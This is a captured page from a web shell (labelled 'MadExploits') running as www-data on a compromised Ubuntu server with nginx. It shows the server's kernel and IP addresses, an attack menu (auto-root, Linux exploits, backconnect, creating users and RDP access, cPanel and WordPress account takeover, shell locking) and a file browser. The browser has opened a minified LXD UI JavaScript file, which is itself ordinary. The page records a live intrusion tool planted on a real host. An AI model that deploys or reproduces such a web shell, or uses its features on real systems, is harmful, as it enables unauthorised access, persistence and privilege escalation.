Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
snap /
lxd /
31333 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-3a779a81...
352
B
-rw-r--r--
CancelOperationBtn-5e4a9f41.js
1.42
KB
-rw-r--r--
CertificateAdd-5762bbdd.js
2.37
KB
-rw-r--r--
CertificateGenerate-67a1d99d.j...
9.58
KB
-rw-r--r--
ClusterGroupForm-f258bb5e.js
3.07
KB
-rw-r--r--
ClusterList-13b65a6c.js
4.72
KB
-rw-r--r--
ConfigFieldDescription-00c1a19...
3.5
KB
-rw-r--r--
ConfigurationTable-1a9d4d6f.js
2.16
KB
-rw-r--r--
CreateClusterGroup-3b03283b.js
329
B
-rw-r--r--
CreateInstance-2dc2e316.js
15.55
KB
-rw-r--r--
CreateNetwork-9059effd.js
2.24
KB
-rw-r--r--
CreateProfile-fa64def5.js
3.28
KB
-rw-r--r--
CreateProject-3768bb7f.js
1.9
KB
-rw-r--r--
CreateStoragePool-e2d089cb.js
1.77
KB
-rw-r--r--
DiskSizeSelector-dd5e138a.js
1.8
KB
-rw-r--r--
EditClusterGroup-08d77b61.js
622
B
-rw-r--r--
FormMenuItem-c8a1a121.js
504
B
-rw-r--r--
Images-40cc8e59.js
4.37
KB
-rw-r--r--
InstanceDetail-ee6a9c3e.js
485.63
KB
-rw-r--r--
InstanceFormMenu-dff7cf6c.js
1.67
KB
-rw-r--r--
InstanceList-23508fa8.js
15.61
KB
-rw-r--r--
Login-a15594e3.js
1.47
KB
-rw-r--r--
NetworkDetail-c85f81d1.js
10.11
KB
-rw-r--r--
NetworkDevicesForm-bcf4be77.js
28.21
KB
-rw-r--r--
NetworkForm-ffe61c80.js
10.83
KB
-rw-r--r--
NetworkList-45862bf6.js
2.87
KB
-rw-r--r--
NetworkMap-30a0e19e.js
384.37
KB
-rw-r--r--
OperationList-b576a26c.js
3.03
KB
-rw-r--r--
ProfileDetail-1a7135fe.js
9.74
KB
-rw-r--r--
ProfileDetailsForm-809e7c02.js
856
B
-rw-r--r--
ProfileFormMenu-3458e77a.js
1.51
KB
-rw-r--r--
ProfileList-3777bd96.js
3.32
KB
-rw-r--r--
ProfileSelector-b579b8c7.js
1.73
KB
-rw-r--r--
ProjectConfiguration-e5324f11....
7.05
KB
-rw-r--r--
ProjectForm-55619b78.js
14.06
KB
-rw-r--r--
ProtectedRoute-49eddddb.js
209
B
-rw-r--r--
RenameHeader-c74d9adb.js
1.6
KB
-rw-r--r--
SelectableMainTable-5a3f3fef.j...
1.48
KB
-rw-r--r--
Settings-2fc8ab81.js
5.98
KB
-rw-r--r--
StoragePoolDetail-5cad7e82.js
5.53
KB
-rw-r--r--
StorageUsedBy-2e98cb1b.js
2.16
KB
-rw-r--r--
StorageVolumeCreate-76138e07.j...
1.75
KB
-rw-r--r--
StorageVolumeDetail-513f1051.j...
6.76
KB
-rw-r--r--
StorageVolumeForm-228515f8.js
9.63
KB
-rw-r--r--
StorageVolumeFormMenu-e90b9f5c...
1.35
KB
-rw-r--r--
WarningList-74e9b259.js
1.85
KB
-rw-r--r--
certificate-3aff5cf1.js
277.18
KB
-rw-r--r--
clusterGroups-3fc1789d.js
3.32
KB
-rw-r--r--
formFields-fc140429.js
4.61
KB
-rw-r--r--
images-2ea813f2.js
702
B
-rw-r--r--
index-13b2882d.js
586.8
KB
-rw-r--r--
index-205b9caf.css
481.62
KB
-rw-r--r--
index.esm-82c30f37.js
69.08
KB
-rw-r--r--
instanceConfigInheritance-fbf9...
1.38
KB
-rw-r--r--
instanceDelete-e714bd59.js
1.52
KB
-rw-r--r--
instanceEdit-cf20bafe.js
5.29
KB
-rw-r--r--
instanceValidation-26160179.cs...
50.83
KB
-rw-r--r--
instanceValidation-45cfba9a.js
2.09
MB
-rw-r--r--
networks-5caac489.js
1.71
KB
-rw-r--r--
operations-beb03b33.js
433
B
-rw-r--r--
settings-c23f9009.js
183
B
-rw-r--r--
updateMaxHeight-325b3cd4.js
861
B
-rw-r--r--
useClusterMembers-dbf45674.js
3.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StoragePoolDetail-5cad7e82.js
import{e as q,d as n,r as x,bp as w,j as e,c as z,bq as F,A as L,br as V,i as k,m as p,z as $,bs as D,bt as E,bu as b,q as S,f as M,L as B,C as O,b as _,ap as H}from"./index-13b2882d.js";import{R as T}from"./RenameHeader-c74d9adb.js";import{c as v,a as y,u as N}from"./index.esm-82c30f37.js";import{t as K,u as C,S as Q}from"./useClusterMembers-dbf45674.js";import{S as U}from"./StorageUsedBy-2e98cb1b.js";import{u as A,S as G}from"./updateMaxHeight-325b3cd4.js";import"./DiskSizeSelector-dd5e138a.js";import"./AutoExpandingTextArea-3a779a81.js";import"./FormMenuItem-c8a1a121.js";import"./StorageVolumeFormMenu-e90b9f5c.js";import"./settings-c23f9009.js";const I=({name:s,pool:d,project:a})=>{const t=q(),o=n.useNotify(),u=x.useState(null),c=v().shape({name:y().test(...K(a,u)).required("This field is required")}),l=N({initialValues:{name:s,isRenaming:!1},validationSchema:c,onSubmit:i=>{if(s===i.name){l.setFieldValue("isRenaming",!1),l.setSubmitting(!1);return}w(s,i.name,a).then(()=>{t(`/ui/project/${a}/storage/detail/${i.name}`,o.queue(o.success("Storage pool renamed."))),l.setFieldValue("isRenaming",!1)}).catch(r=>{o.failure("Renaming failed",r)}).finally(()=>l.setSubmitting(!1))}});return e.jsx(T,{name:s,parentItems:[e.jsx(z,{to:`/ui/project/${a}/storage`,children:"Storage pools"},1)],controls:[e.jsx(F,{pool:d,project:a,shouldExpand:!0},"delete")],isLoaded:!0,formik:l,renameDisabledReason:"Cannot rename storage pools"})},J=({pool:s,project:d})=>{var t,o;const a=()=>{A("storage-overview-tab")};return x.useEffect(a,[d,s]),L("resize",a),e.jsxs("div",{className:"storage-overview-tab",children:[e.jsxs(n.Row,{className:"section",children:[e.jsx(n.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"General"})}),e.jsx(n.Col,{size:7,children:e.jsx("table",{children:e.jsxs("tbody",{children:[e.jsxs("tr",{children:[e.jsx("th",{className:"p-muted-heading",children:"Name"}),e.jsx("td",{children:s.name})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"p-muted-heading",children:"Status"}),e.jsx("td",{children:s.status})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"p-muted-heading",children:"Size"}),e.jsx("td",{children:e.jsx(V,{pool:s})})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"p-muted-heading",children:"Source"}),e.jsx("td",{children:((t=s.config)==null?void 0:t.source)??"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"p-muted-heading",children:"Description"}),e.jsx("td",{children:s.description?s.description:"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"p-muted-heading",children:"Driver"}),e.jsx("td",{children:s.driver})]})]})})})]}),e.jsxs(n.Row,{className:"section",children:[e.jsx(n.Col,{size:3,children:e.jsxs("h2",{className:"p-heading--5",children:["Used by (",((o=s.used_by)==null?void 0:o.length)??0,")"]})}),e.jsx(n.Col,{size:7,children:e.jsx(U,{storage:s,project:d})})]})]})},W=({pool:s})=>{const d=n.useNotify(),a=k(),{project:t}=p(),o=x.useState(null),{data:u=[]}=C();if(!t)return e.jsx(e.Fragment,{children:"Missing project"});const c=v().shape({name:y().test("deduplicate","A pool with this name already exists",r=>r===s.name||$(r,t,o,"storage-pools")).required("This field is required")}),l=r=>{var m,h;return{isCreating:!1,isReadOnly:!0,name:r.name,description:r.description,driver:r.driver,source:((m=r.config)==null?void 0:m.source)||"",size:((h=r.config)==null?void 0:h.size)||"GiB"}},i=N({initialValues:l(s),validationSchema:c,onSubmit:({name:r,description:m,size:h})=>{const R=h.match(/^\d/),j={name:r,description:m,config:{size:R?h:void 0}};(u.length>0?()=>D(j,t,u):()=>E(j,t))().then(async()=>{var f;d.success("Storage pool updated.");const g=((f=u[0])==null?void 0:f.server_name)??void 0,P=await b(r,t,g);i.setValues(l(P))}).catch(g=>{d.failure("Storage pool update failed",g)}).finally(()=>{i.setSubmitting(!1),a.invalidateQueries({queryKey:[S.storage]})})}});return e.jsxs("div",{className:"edit-storage-pool",children:[e.jsx(Q,{formik:i}),e.jsxs("div",{className:"p-bottom-controls",children:[e.jsx("hr",{}),e.jsx(n.Row,{className:"u-align--right",children:e.jsx(n.Col,{size:12,children:i.values.isReadOnly?e.jsx(n.Button,{appearance:"positive",onClick:()=>void i.setFieldValue("isReadOnly",!1),children:"Edit pool"}):e.jsxs(e.Fragment,{children:[e.jsx(n.Button,{appearance:"base",onClick:()=>i.setValues(l(s)),children:"Cancel"}),e.jsx(G,{isSubmitting:i.isSubmitting,isDisabled:!i.isValid,buttonLabel:"Save changes",onClick:()=>void i.submitForm()})]})})})]})]})},de=()=>{var m;const s=n.useNotify(),{data:d=[]}=C(),{name:a,project:t,activeTab:o}=p();if(!a)return e.jsx(e.Fragment,{children:"Missing name"});if(!t)return e.jsx(e.Fragment,{children:"Missing project"});const u=((m=d[0])==null?void 0:m.server_name)??void 0,{data:c,error:l,isLoading:i}=M({queryKey:[S.storage,t,a,u],queryFn:()=>b(a,t,u)});if(l&&s.failure("Loading storage details failed",l),i)return e.jsx(B,{text:"Loading storage details..."});if(!c)return e.jsx(e.Fragment,{children:"Loading storage details failed"});const r=["Overview","Configuration",{component:()=>e.jsxs("a",{href:`/ui/project/${t}/storage/volumes?pool=${c.name}`,className:"p-tabs__link",children:["Volumes ",e.jsx(n.Icon,{name:"external-link"})]}),label:"Volumes"}];return e.jsxs(O,{header:e.jsx(I,{name:a,pool:c,project:t}),contentClassName:"detail-page",children:[e.jsx(_,{}),e.jsxs(n.Row,{children:[e.jsx(H,{tabs:r,activeTab:o,tabUrl:`/ui/project/${t}/storage/detail/${a}`}),!o&&e.jsx("div",{role:"tabpanel","aria-labelledby":"overview",children:e.jsx(J,{pool:c,project:t})}),o==="configuration"&&e.jsx("div",{role:"tabpanel","aria-labelledby":"configuration",children:e.jsx(W,{pool:c})})]})]})};export{de as default};
Close